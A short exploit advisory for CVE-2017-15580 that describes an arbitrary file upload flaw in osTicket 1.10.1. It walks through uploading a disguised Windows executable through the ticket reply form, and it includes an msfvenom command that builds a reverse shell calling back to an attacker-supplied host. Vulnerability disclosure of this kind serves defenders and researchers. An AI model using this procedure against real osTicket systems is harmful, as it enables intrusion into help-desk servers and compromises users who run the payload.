# Exploit Title: osTicket 1.10.1 - Arbitrary File Upload# Exploit Author: r3j10r (Rajwinder Singh)# Date: 2018-08-08# Vendor Homepage: http://osticket.com/# Software Link: http://osticket.com/download# Version: osTicket v1.10.1# CVE-2017-15580# Vulnerability Details:# osTicket application provides a functionality to upload 'html' files # with associated formats. However, application does not properly validate # the content of file and accepts any type of files.# Proof-of-Concept:# Uploaded shell to get reverse shell of end user for the demo purpose.
1. Created a valid '.html' file to bypass client-side validations.
<html>
<title>test</title>
<body>
<p>test page</p>
</body>
</html>
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "\x00"-e <encoder> -f exe -o reverse.exe
3. Intercepted the request in BurpSuite and changed file extension '.html' to '.exe' and its content
4. Received a valid response from server along with uploaded malicious file.
5. Got reverse shell after execution of the uploaded payload.# Affected Component:
Parameter: tickets.php?id=<ticket_number>#reply
